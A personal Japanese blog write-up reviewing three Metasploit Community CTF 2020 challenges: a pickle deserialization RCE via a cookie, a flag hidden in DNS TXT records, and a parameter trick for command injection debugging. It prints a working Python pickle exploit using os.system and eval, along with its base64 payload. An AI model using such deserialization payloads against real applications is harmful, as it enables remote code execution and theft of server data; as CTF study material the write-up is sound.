Metasploit community CTF 2020 復習
まえがき
他の人のwriteupを参考にしたMetasploit community CTF 2020の個人的な復習回なので、特に興味ない方はブラウザバックでお願いします〜
参考一覧は最後に貼ってあります。
pickle RCE (7 of Spades)
パスに/modules?filter=ref_name+%3D~+"^admin"
が含まれていて、表示するmetasploitのモジュールをフィルターすることができるページ。
実はcookieにそのフィルター情報らしきものが入っている。
こちらを拝見すると、 Django, Bottle, Pyramidなどでセッション管理に使われるpickle
が該当し、pythonでオブジェクトをシリアライズ, デシリアライズするライブラリとのこと。本来であれば、シリアライズする際に使うキーが漏れることで攻撃者に自由に書き換えが可能になるらしいが、今回は直書きできそうである。
このpickle
はサーバ側の処理の際にRCEが可能ということで、参考にしたwriteupではapp.py
を覗いていた。
import pickle import base64 import os class RCE: def __reduce__(self): cmd = ('cat app.py > static/app.txt') return os.system, (cmd,) if __name__ == '__main__': pickled = pickle.dumps(RCE()) print(base64.urlsafe_b64encode(pickled))
$ python3 exp_pickle.py b'gASVNgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjBtjYXQgYXBwLnB5ID4gc3RhdGljL2FwcC50eHSUhZRSlC4='
これをcookieに仕込んでページをリロード。Something's wrong!とサーバエラーが起きるので(この時点で実行された)、一度cookieを消してからstatic/app.txt
に移動。ソースを覗けます。
# ソースの中 with (app_path / 'flag.png').open('rb') as file_h: FLAG = file_h.read()
FLAG
という変数に画像データが残っているようなので、OSコマンド
ではなくpythonコードを実行して、データを取り出します。次のように書くことで、pythonコードが実行可能なようです。
class RCE: def __reduce__(self): cmd = ("open('static/flag.png', 'wb').write(FLAG)") return eval, (cmd,)
実行して作成した値をcookienに仕込んで再度RCEします。書き出せたようです。
(static
配下を指定しないと上手く表示or書き出しできなようですが、このアプリケーションがflask
使っているのはどこで調べてばいいのやら?)
DNS (9 of Hearts)
当然DNSにもフラグが隠されていたようで。(今回UDPスキャンをすっ飛ばしてしまい、色々失念)
ホストネームなどを調べる。
kali@kali:~$ dig -x 172.15.16.69 @172.15.16.69 ; <<>> DiG 9.16.6-Debian <<>> -x 172.15.16.69 @172.15.16.69 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29753 ;; flags: qr aa rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;69.16.15.172.in-addr.arpa. IN PTR ;; ANSWER SECTION: 69.16.15.172.in-addr.arpa. 0 IN PTR 9ofhearts.ctf. ;; Query time: 0 msec ;; SERVER: 172.15.16.69#53(172.15.16.69) ;; WHEN: Tue Dec 08 15:38:41 UTC 2020 ;; MSG SIZE rcvd: 70
ホストネームに登録されてるtxtレコードを見ると、フラグがあるので、コピーして復元する。先頭のiVBOR
はPNG
のマジックナンバーをbase64
すると現れる値らしいので、base64で復元して完了。
不要な"
を置換して、base64 -d card.txt > card.png
でokです。
command injection (2 of Hearts)
Writeupはこちら。
エラーを起こしてデバッグ情報を見る時にやった手法として、パラメータを配列型式にして送信する方法があった。
× search=gamename ○search[]=gamename